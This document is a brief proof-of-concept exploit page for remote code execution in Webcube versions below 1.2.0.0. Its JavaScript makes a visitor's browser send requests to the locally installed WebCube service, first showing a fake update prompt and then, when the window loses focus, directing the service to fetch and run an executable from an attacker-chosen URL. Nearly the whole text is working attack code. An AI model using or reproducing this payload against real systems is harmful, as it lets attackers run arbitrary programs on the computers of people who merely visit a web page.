Webcube < 1.2.0.0 RCE

poc.html

<script>
flag = 0;
window.onload = window.onfocus = () => {
    if (flag) return;
    fetch('http://127.0.0.1:4567/WebCube/RetCmd?CmdMethod(1061,"1199",5678,"Update is prepared for Webcube!",1111,2222,"<EXE_URL_SIGNED_WITH_TERUTEN>")', {method:'POST'})
};
window.onblur = () => {
    if (flag) return;

    flag = 1;
    fetch('http://127.0.0.1:4567/WebCube/RetCmd?CmdMethod(1061,"1199",5678,"",1111,2222,"<EXE_URL_TO_EXECUTE>")',{method:'POST'});
};
</script>